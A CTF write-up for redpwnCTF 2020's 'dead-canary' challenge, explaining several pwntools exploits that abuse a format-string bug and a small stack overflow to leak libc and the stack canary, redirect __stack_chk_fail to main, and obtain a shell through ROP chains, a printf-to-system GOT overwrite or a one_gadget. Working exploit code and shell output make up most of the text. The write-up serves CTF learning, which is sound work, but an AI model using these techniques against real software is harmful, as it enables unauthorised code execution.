# redpwnCTF 2020
## pwn/dead-canary
> NotDeGhost> > 475>> It is a terrible crime to slay a canary. Killing a canary will keep your exploit alive even if you are an inch from segfaults. But at a terrible price.> > `nc 2020.redpwnc.tf 31744`>> [`dead-canary.tar.gz`](dead-canary.tar.gz)
Tags: _pwn_ _x86-64_ _stack-canary_ _format-string_ _remote-shell_ _rop_ _stack-pivot_ _bof_
## Summary
Leverage a format string exploit to leak libc and change `__stack_chk_fail` to `main` for multiple passes triggered by canary corruption (bof), after that, there are options:
1. ROP chain on stack and pivot [exploit.py](exploit.py) [exploit5.py](exploit5.py) [exploit7.py](exploit7.py)2. Change `printf` to `system` (no canary leak) [exploit2.py](exploit2.py) [exploit3.py](exploit3.py)3. Avoid pivot and use `one_gadget` (the bof is tight--8 bytes) [exploit4.py](exploit4.py)4. Leak stack location and write out ROP chain directly after saved RBP (no canary leak) [exploit6.py](exploit6.py)
I kinda beat this one to death.  For the CTF I went with option 1 ([exploit.py](exploit.py))--something I'd not done before.  As for the rest, this was a good excuse to work on some automation and a better understanding of pwntools fmtstr support, as well as some better format string handling.
## Analysis
### Checksec
```    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      No PIE (0x400000)```
No PIE + Partial RELRO = easy GOT updates.  Given the challenge title, we'll have to deal with the canary first.
 ### Decompile with Ghidra
```cundefined8 FUN_00400737(void)
{  long in_FS_OFFSET;  char local_118 [264];  long local_10;   local_10 = *(long *)(in_FS_OFFSET + 0x28);  setbuf(stdout,(char *)0x0);  setbuf(stdin,(char *)0x0);  setbuf(stderr,(char *)0x0);  printf("What is your name: ");  FUN_004007fc(0,local_118,0x120);  printf("Hello ");  printf(local_118);  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {                    /* WARNING: Subroutine does not return */    __stack_chk_fail();  }  return 0;}```
That's it. (`FUN_004007fc` is just a frontend to `read`.)
There's at least three vulnerabilities:
1. `printf(local_118)`--format string is missing.2. An 8 byte overflow if the canary is known; `local_118` is `0x118` bytes from the return address (see Ghidra stack diagram), and `FUN_004007fc` is reading up to `0x120` bytes.  This allows for a single 8 byte payload (gadget or pivot).3. A format string exploit can overwrite the GOT, the stack, and any other writable region of memory; and read just about anything.
Since there's no loop and no obvious one-shot solution, overwriting `__stack_chk_fail` GOT to jump to `main` (`FUN_00400737`) for infinite passes is the first step, then corrupting the canary (bof) on each pass will score another pass.
## Exploit(s)
### Option 1: ROP chain on stack and pivot
First, we have to find the offsets in the stack for all the leaks and format strings.  Normally I'd just run the binary in GDB, set a break point just before the vulnerable `printf` and then examine where my input was on the stack.  But lately I've been just writing something like this:
```python#!/usr/bin/python3
from pwn import *
def scanit(binary,t):    context.log_level='WARN'    p = process(binary.path)    p.recvuntil('name: ')    p.sendline(t)    p.recvuntil('Hello ')    _ = p.recvline().strip()    p.close()    return _
def findoffset(binary):    for i in range(1,20):        t = '%' + str(i).rjust(2,'0') + '$018p'        _ = scanit(binary,t)        print(i,_)        if _.find(b'0x') >= 0:            s = bytes.fromhex(_[2:].decode())[::-1]            if s == t.encode():                return(i)    return None```
This first half of [offset.py](offset.py) will emit each line of the stack and compare with the input, if there's a match, then the offset is returned.
```pythondef findcanary(binary,offset):    for i in range(offset,50):        t = '%' + str(i).rjust(2,'0') + '$018p'        context.log_level='WARN'        p = process(binary.path)        d = process(['gdb',binary.path,'-p',str(p.pid)])        d.sendlineafter('gdb) ','source ~/.gdbinit_gef')        d.sendlineafter('gef➤ ','canary')        d.recvuntil('canary of process ' + str(p.pid) + ' is ')        canary = d.recvline().strip()        d.sendlineafter('gef➤ ','c')        d.close()        p.recvuntil('name: ')        p.sendline(t)        p.recvuntil('Hello ')        _ = p.recvline().strip()        print(i,_,canary)        if _ == canary:            return(i)    return None
binary = ELF('./dead-canary')
offset = findoffset(binary)canaryoffset = findcanary(binary,offset)
print()print('offset:',offset)print('canaryoffset:',canaryoffset)```
The second half returns the offset of the canary.  This is a little tricker since the canary changes on each run and there's no loops (yet).  This hack just uses GEF to get the canary, then checks one (incrementing) stack offset until there's a match.
Final output:
```bashoffset: 6canaryoffset: 39```
This is all that is needed to write an exploit to update the GOT as well as overflow the buffer with an 8 byte attack, however there's nothing really useful in the binary (no win function), so libc will need to be leaked.  This can be done with a format string exploit using `%s` to leak from the GOT (see [Got It](https://github.com/datajerk/ctf-write-ups/blob/master/hsctf7/got_it/README.md) as an example) or we can just pull from the stack.  I went with the latter since I wanted to find a stack address as well:
```06: 0x00007fffffffe410│+0x0000: 0x0000000a68616c62 ("blah\n"?) ← $rsp, $rdi...39: 0x00007fffffffe518│+0x0108: 0xd47acbfe72babe0040: 0x00007fffffffe520│+0x0110: 0x0000000000400880  →   push r15 ← $rbp41: 0x00007fffffffe528│+0x0118: 0x00007ffff7a05b97  →  <__libc_start_main+231> mov edi, eax42: 0x00007fffffffe530│+0x0120: 0x000000000000000143: 0x00007fffffffe538│+0x0128: 0x00007fffffffe608  →  0x00007fffffffe809  →  "/pwd/datajerk/redpwnctf2020/dead-canary/bin/dead-c[...]"```
Above is the stack after setting a break point just before the vulnerable `printf` and entering `blah` as _your name:_.  From the script above we know that the start of the `printf` is at offset 6 (I numbered the stack above), and that the canary is at offset 39.  This aligns with the output above.  Looking down stack there's a reference to libc at offset 41 and a stack leak at offset 43 (it's very similar to the stack addresses).
Now we have everything we need.
[exploit.py](exploit.py):
```python#!/usr/bin/python3
from pwn import *
binary = ELF('./dead-canary')libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')context.update(arch='amd64',os='linux')binary.symbols['main'] = 0x400737
rop = ROP([binary])ret = rop.find_gadget(['ret'])[0]pop_rdi = rop.find_gadget(['pop rdi','ret'])[0]add_rsp_8 = rop.find_gadget(['add rsp, 8','ret'])[0]
offset = 6canaryoffset = 39libcoffset = 41
#p = process(binary.path)p = remote('2020.redpwnc.tf', 31744)```
Above is the initial setup.  The offsets were computed or discovered above.  Since there's no symbols in the binary, `main` had to be manually assigned (see Ghidra disassembly for `FUN_00400737`).  We'll also need a few ROP gadgets for the ROP chain (`pop rdi` and `add rsp, 8` are functionally identical for this exploit, however my first thought was to just add to `rsp`).
```python# first pass, inf. retries if we blow out canary, leak libcp.recvuntil('name: ')payload  = b'%' + str(libcoffset).encode().rjust(2,b'0') + b'$018p'payload += fmtstr_payload(offset+1,{binary.got['__stack_chk_fail']:binary.symbols['main']},numbwritten=18)payload += ((0x118 - 0x10 + 1) - len(payload)) * b'A'p.send(payload)p.recvuntil('Hello ')_ = p.recv(18)__libc_start_main = int(_,16) - 231log.info('__libc_start_main: ' + hex(__libc_start_main))baselibc = __libc_start_main - libc.symbols['__libc_start_main']log.info('baselibc: ' + hex(baselibc))libc.address = baselibc```
The first pass is the most important and sets the stage for multiple passes.  From the top down:
1. The payload starts with exactly 8 bytes that will read the libc leak from offset `41`.  We must keep the stack aligned and also keep track of format string offset _offsets_, as well as how many bytes will be emitted.  The `$018p` ensures that exactly 18 bytes are emitted.  This needs to be passed to the `fmtstr_payload` function so that it can properly compute format string exploit.2. pwntools out-of-the-box includes fantastic format string exploit support.  All of the exploits in this walkthrough leverage this, but in slightly different ways.  The first parameter is the `offset`, this is off by one since we already used 8 bytes; we have to inform `fmtstr_payload` of that fact or its math will be off (`len(payload) // 8` would have been more portable).  The next parameter is a dictionary of _where_:_what_.  In this example, we're replacing the `__stack_chk_fail` GOT entry with the address of `main`.  This will cause any call to `__stack_chk_fail` to jump to `main`.  The last parameter is the number of bytes emitted by `printf`.  This is very important, for format string exploits to work the exact number of previous emitted bytes needs to be accounted for, or the math will fail.  The `printf` format string to leak a libc address emits exactly 18 bytes.3. The rest of the payload just fills up the stack up to and including the first canary byte.  `0x118 - 0x10` (see Ghidra stack diagram, char array is at `0x118` and canary is at `0x10`).  The extra `A` (`+ 1`) corrupts the least significant byte of the canary.  This will cause `__stack_chk_fail` to jump to `main` for our next pass at the end of `main`.4. The final `printf` called in `main` will emit `18` bytes--the leaked libc address.  And since the version of libc was provided (inferred from the use of Ubuntu 18.04 in the Dockerfile), we can simply compute the base of libc.
```python# 2nd pass, leak canary, setup payloadp.recvuntil('name: ')payload  = b'%' + str(canaryoffset).encode().rjust(2,b'0') + b'$018p'payload += p64(ret)payload += p64(pop_rdi)payload += p64(libc.search(b'/bin/sh').__next__())payload += p64(libc.symbols['system'])payload += ((0x118 - 0x10 + 1) - len(payload)) * b'A'p.send(payload)p.recvuntil('Hello ')_ = p.recv(16)canary = int(_,16) << 8log.info('canary: ' + hex(canary))```
The second pass is not unlike the first pass, but this time we leak the canary.  But also setup our payload in the stack.  Again it is important to keep it all stack aligned.  And again we have to overwrite the canary byte to trigger a third pass.  The good news is that the canary least significant byte is always `0x00`, so we just need to read `16` bytes from the emitted `18`, and shift left for the `0x00`.
At this point we also have our payload in the stack.  When this second pass _jumps_ (not _returns_) back to `main`, `main` will allocate more stack space, leaving this stack space alone, _right on top of this stack space_.  You can follow the assembly to see this, or just play around in GDB (I did).
On the third pass the stack will look like this:
```3rd pass 264 char buffer (<- rsp)3rd pass canary (same as all canaries)3rd pass rdb3rd pass return address2nd pass 8-byte format string to emit canary (%39$018p)2nd pass address to ret gadget2nd pass address to pop rdi gadget...```
```python# final pass pivotp.recvuntil('name: ')payload  = (0x118 - 0x10) * b'A'payload += p64(canary)payload += 8 * b'B'payload += p64(add_rsp_8)p.send(payload)p.interactive()```
For the final pass we just need to craft a payload with the canary for our bof attack. `(0x118 - 0x10) * b'A'` will fill the buffer with `A`s up to the canary, next send the leaked canary, after that 8 bytes for the save base pointer, then finally 8 bytes to change the stack pointer to our payload.  That `add rsp,8` will just jump over the `%39$018p` left over from emitting the canary (a `pop rdi` would have done the same).  With the stack pointer now positioned at our payload we get a shell.
Output:
```bash# ./exploit.py[*] '/pwd/datajerk/redpwnctf2020/dead-canary/bin/dead-canary'    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      No PIE (0x400000)[*] '/lib/x86_64-linux-gnu/libc.so.6'    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      PIE enabled[*] Loaded 14 cached gadgets for './dead-canary'[+] Opening connection to 2020.redpwnc.tf on port 31744: Done[*] __libc_start_main: 0x7f679bdf9ab0[*] baselibc: 0x7f679bdd8000[*] canary: 0x6a3b6d6c6f4b8500[*] Switching to interactive modeHello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA$ cat flag.txtflag{t0_k1ll_a_canary_4e47da34}```
[exploit5.py](exploit5.py) is the same as [exploit.py](exploit.py) (above) except that libc and the canary are leaked together in the first pass:
```payload  = b'%' + str(libcoffset).encode().rjust(2,b'0') + b'$018p'payload += b'%' + str(canaryoffset).encode().rjust(2,b'0') + b'$018p'payload += fmtstr_payload(offset+2,{binary.got['__stack_chk_fail']:binary.symbols['main']},numbwritten=2*18)```
This means `2` has to be added to the `offset` for `fmtstr_payload` as well as `numbwritten` also being doubled.
The final _pivot_ is nothing more than a `ret` gadget, since there's no format string that needs to be skipped over.
### Option 1a:  Option 1 using `%s` to leak libc
From [exploit7.py](exploit7.py):
```python# first pass, inf. retries if we blow out canary, leak libcp.recvuntil('name: ')infpass  = fmtstr_payload(offset+1,{binary.got['__stack_chk_fail']:binary.symbols['main']},numbwritten=8)payload  = b'%' + str(offset+1+(len(infpass) // 8)).encode().rjust(2,b'0') + b'$008s'payload += infpasspayload += p64(binary.got['printf'])payload += ((0x118 - 0x10 + 1) - len(payload)) * b'A'p.send(payload)p.recvuntil('Hello ')_ = p.recv(8).lstrip()printf = u64(_ + (8-len(_))*b'\x00')log.info('printf: ' + hex(printf))baselibc = printf - libc.symbols['printf']```
This is identical to the previous exploit, however instead of leaking libc from the stack (easier), this is leaking from the GOT.  This is a little tricker when combining with a write format string.
First, the write format string `infpass` is computed--we need this to compute its length.  The `+1` is to make room for the read format string.
Next, the read format string requires an argument, and since the argument may have (and will have) nulls, then that address has to be last.  Its offset is `+1` for the same reasons as before plus the length of the write format string / 8.
Then, we add the write format string exploit to the payload, followed by the address that `%008s` will _read and emit_ (not just emit like `%p`, i.e. `%p` emits an address, `%s` the contents of the address up to the first null).
The conversion is a bit different, but the results are the same, and the rest of the code is identical to the previous exploit.
Output:
```bash# ./exploit7.py[*] '/pwd/datajerk/redpwnctf2020/dead-canary/bin/dead-canary'    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      No PIE (0x400000)[*] '/lib/x86_64-linux-gnu/libc.so.6'    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      PIE enabled[*] Loaded 14 cached gadgets for './dead-canary'[+] Opening connection to 2020.redpwnc.tf on port 31744: Done[*] printf: 0x7fe4ffd8ae80[*] baselibc: 0x7fe4ffd26000[*] canary: 0xd8ef9ff82f8c1b00[*] Switching to interactive modeHello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA$ cat flag.txtflag{t0_k1ll_a_canary_4e47da34}```
### Option 2: Change `printf` to `system` (no canary leak)
[exploit2.py](exploit2.py):
```python#!/usr/bin/python3
from pwn import *
binary = ELF('./dead-canary')libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')context.update(arch='amd64',os='linux')binary.symbols['main'] = 0x400737
offset = 6libcoffset = 41
#p = process(binary.path)p = remote('2020.redpwnc.tf', 31744)
# first pass, inf. retries if we blow out canary, leak libcp.recvuntil('name: ')payload  = b'%' + str(libcoffset).encode().rjust(2,b'0') + b'$018p'payload += fmtstr_payload(offset+1,{binary.got['__stack_chk_fail']:binary.symbols['main']},numbwritten=18)payload += ((0x118 - 0x10 + 1) - len(payload)) * b'A'p.send(payload)p.recvuntil('Hello ')_ = p.recv(18)__libc_start_main = int(_,16) - 231log.info('__libc_start_main: ' + hex(__libc_start_main))baselibc = __libc_start_main - libc.symbols['__libc_start_main']log.info('baselibc: ' + hex(baselibc))libc.address = baselibc
# 2nd pass, printf -> systemp.recvuntil('name: ')payload  = fmtstr_payload(offset,{binary.got['printf']:libc.symbols['system']},numbwritten=0)payload += ((0x118 - 0x10 + 1) - len(payload)) * b'A'p.send(payload)
# take out the garbagenull = payload.find(b'\x00')log.info('null loc: ' + str(null))p.recvuntil(payload[null-2:null])
# final pass, flying blindp.sendline('/bin/sh')p.interactive()```
The first part of this is identical to [exploit.py](exploit.py)--leak libc.  However the 2nd pass updates the GOT again, but this time replaces `printf` with `system`.  At this point we're flying blind and `system` is getting passed strings as commands.  As expected there will be a lot garbage on the screen, to help with that:
```pythonnull = payload.find(b'\x00')log.info('null loc: ' + str(null))p.recvuntil(payload[null-2:null])```
will search for the two bytes before the first null, and then wait for that output so that interactive does not pick up too much garbage.
Output:
```bash# ./exploit2.py[*] '/pwd/datajerk/redpwnctf2020/dead-canary/bin/dead-canary'    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      No PIE (0x400000)[*] '/lib/x86_64-linux-gnu/libc.so.6'    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      PIE enabled[+] Opening connection to 2020.redpwnc.tf on port 31744: Done[*] __libc_start_main: 0x7fd198a11ab0[*] baselibc: 0x7fd1989f0000[*] null loc: 75[*] Switching to interactive modesh: 1: What: not foundsh: 1: Hello: not found$ cat flag.txtflag{t0_k1ll_a_canary_4e47da34}```
> The game masters could have really messed with us if there were `What` and `Hello` commands that did nothing but disco you or hang.
[exploit3.py](exploit3.py) is identical to [exploit2.py](exploit2.py) except that it just types `cat flag.txt` for you.
### Option 3: Avoid pivot and use `one_gadget`
[exploit4.py](exploit4.py):
```python#!/usr/bin/python3
from pwn import *
binary = ELF('./dead-canary')libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')context.update(arch='amd64',os='linux')binary.symbols['main'] = 0x400737libc.symbols['gadget'] = [0x4f2c5, 0x4f322, 0x10a38c][0]
offset = 6canary = 39libcleak = 41
#p = process(binary.path)p = remote('2020.redpwnc.tf', 31744)
# first pass, inf. retries if we blow out canary, leak libc, leak canaryp.recvuntil('name: ')payload  = b'%' + str(libcleak).encode().rjust(2,b'0') + b'$018p'payload += b'%' + str(canary).encode().rjust(2,b'0') + b'$018p'payload += fmtstr_payload(offset+2,{binary.got['__stack_chk_fail']:binary.symbols['main']},numbwritten=2*18)payload += ((0x118 - 0x10 + 1) - len(payload)) * b'A'p.send(payload)p.recvuntil('Hello ')_ = p.recv(18)__libc_start_main = int(_,16) - 231log.info('__libc_start_main: ' + hex(__libc_start_main))baselibc = __libc_start_main - libc.symbols['__libc_start_main']log.info('baselibc: ' + hex(baselibc))libc.address = baselibc_ = p.recv(16)canary = int(_,16) << 8log.info('canary: ' + hex(canary))
# final pass gadgetp.recvuntil('name: ')payload  = (0x118 - 0x10) * b'A'payload += p64(canary)payload += 8 * b'B'payload += p64(libc.symbols['gadget'])p.send(payload)p.interactive()```
This is based on [exploit5.py](exploit5.py), however instead of a middle pass to setup a payload that requires a pivot, `one_gadget` is simply used to get a shell.
> I personally try to avoid using `one_gadget` in favor of portable code, but sometimes 8 bytes is all you get.> > I only tested the first gadget of the three possible options.
### Option 4: Leak stack location and write out ROP chain directly after saved RBP
This uses the stack address leak discussed (but not used) in the first exploit.  However we still need to compute the distance from the leak to the return address so we know where to write our exploit:
```python#!/usr/bin/python3
from pwn import *
binary = ELF('./dead-canary')libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')context.update(arch='amd64',os='linux')binary.symbols['main'] = 0x400737
rop = ROP([binary])ret = rop.find_gadget(['ret'])[0]pop_rdi = rop.find_gadget(['pop rdi','ret'])[0]
offset = 6libcoffset = 41stackoffset = 43
p = process(binary.path)
# first pass, inf. retries if we blow out canary, leak libc, leak stackpayload  = b'%' + str(libcoffset).encode().rjust(2,b'0') + b'$018p'payload += b'%' + str(stackoffset).encode().rjust(2,b'0') + b'$018p'payload += fmtstr_payload(offset+2,{binary.got['__stack_chk_fail']:binary.symbols['main']},numbwritten=2*18)payload += ((0x118 - 0x10 + 1) - len(payload)) * b'A'p.sendafter('name: ',payload)p.recvuntil('Hello ')_ = p.recv(18)__libc_start_main = int(_,16) - 231log.info('__libc_start_main: ' + hex(__libc_start_main))baselibc = __libc_start_main - libc.symbols['__libc_start_main']log.info('baselibc: ' + hex(baselibc))libc.address = baselibc_ = p.recv(18)stack = int(_,16)log.info('stack: ' + hex(stack))
# gdb to pid while waiting for 'name:'d = process(['gdb',binary.path,'-p',str(p.pid)])d.sendlineafter('gdb) ','b *0x004007dc') # just before last printfd.sendlineafter('gdb) ','continue')
p.sendlineafter('name: ','foobar')
# should be at breakd.sendlineafter('gdb) ','p/x $rbp')_ = d.recvline().strip().split()[-1]rbp = int(_,16)
print('\nreturnoffset:',hex(stack - (rbp + 8)),'\n')```
Normally I'd just do this in GDB while crafting my exploit: Once I get to the part where I need the offset I use `pause()`, connect to the process, set my break point, continue, unpause (press _return_), then at the break, look at the return address, then `p/x leak - return`, etc...
And that is exactly what the script above does.  I'm getting tired of manual offset computation (if you cannot tell).  And sometimes it can cost you time if you have an error in your cut/paste or type it in wrong.  Also, sometimes its not always consistent, so having code do this for you is better.  Then you can run this 100 times to verify (with ASLR) that it's correct.
> I could not find a way using the native pwntools `gdb.attach` to actually send commands to GDB, hence the above.
Output:
```bashreturnoffset: 0x200```
[exploit6.py](exploit6.py):
```python#!/usr/bin/python3
from pwn import *
binary = ELF('./dead-canary')libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')context.update(arch='amd64',os='linux')binary.symbols['main'] = 0x400737
rop = ROP([binary])ret = rop.find_gadget(['ret'])[0]pop_rdi = rop.find_gadget(['pop rdi','ret'])[0]
offset = 6libcoffset = 41stackoffset = 43returnoffset = 0x200
#p = process(binary.path)p = remote('2020.redpwnc.tf', 31744)
# first pass, inf. retries if we blow out canary, leak libc, leak stackp.recvuntil('name: ')payload  = b'%' + str(libcoffset).encode().rjust(2,b'0') + b'$018p'payload += b'%' + str(stackoffset).encode().rjust(2,b'0') + b'$018p'payload += fmtstr_payload(offset+2,{binary.got['__stack_chk_fail']:binary.symbols['main']},numbwritten=2*18)payload += ((0x118 - 0x10 + 1) - len(payload)) * b'A'p.send(payload)p.recvuntil('Hello ')_ = p.recv(18)__libc_start_main = int(_,16) - 231log.info('__libc_start_main: ' + hex(__libc_start_main))baselibc = __libc_start_main - libc.symbols['__libc_start_main']log.info('baselibc: ' + hex(baselibc))libc.address = baselibc_ = p.recv(18)retaddr = int(_,16) - returnoffsetlog.info('retaddr: ' + hex(retaddr))
# final pass, setup ROP chain in retaddrp.recvuntil('name: ')payload = fmtstr_payload(offset,{    retaddr+ 0:ret,    retaddr+ 8:pop_rdi,    retaddr+16:libc.search(b'/bin/sh').__next__(),    retaddr+24:libc.symbols['system']},numbwritten=0,write_size='short',overflows=1)
log.info('payload len: ' + str(len(payload)))if len(payload) > 0x118 - 0x10:    log.critical('payload too long! exiting!')    sys.exit(1)
p.sendline(payload)
# take out the garbagenull = payload.find(b'\x00')log.info('null loc: ' + str(null))p.recvuntil(payload[null-2:null])
p.interactive()```
This starts out just like all the rest, except this time only libc and the stack is leaked, no canary required, no _bof_ attempted.
The second and final pass uses a single format string exploit to write out the payload starting at the return address.  This is an example of multiple writes with a single format string.  Since nothing else emitted, no need to _offset_ the `offset`, also no previous emitted byte count required either (`numbwritten`).  However, `write_size` set to `short` is recommended.  By default the format string will be constructed to update bytes, this emits much less garbage and execute faster at the expense of a longer format string.  In this case the format string is too long more often than not (remember ASLR, things change).
```if len(payload) > 0x118 - 0x10:    log.critical('payload too long! exiting!')    sys.exit(1)```
Checks if the format string will overrun the canary and will just bail if too long.  Changing the `write_size` to `short` will produce a shorter format string and the expense of a lot more garbage, however the same trick as used before can manage that so that we get nice clean output.
> The other option is to keep the size as `byte` (default) and increase `overflows`, but this task does not need that level of tuning.
Output:
```# ./exploit6.py[*] '/pwd/datajerk/redpwnctf2020/dead-canary/bin/dead-canary'    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      No PIE (0x400000)[*] '/lib/x86_64-linux-gnu/libc.so.6'    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      PIE enabled[*] Loaded 14 cached gadgets for './dead-canary'[+] Opening connection to 2020.redpwnc.tf on port 31744: Done[*] __libc_start_main: 0x7f853e35eab0[*] baselibc: 0x7f853e33d000[*] retaddr: 0x7fff6a7afe98[*] payload len: 200[*] null loc: 126[*] Switching to interactive mode$ cat flag.txtflag{t0_k1ll_a_canary_4e47da34}```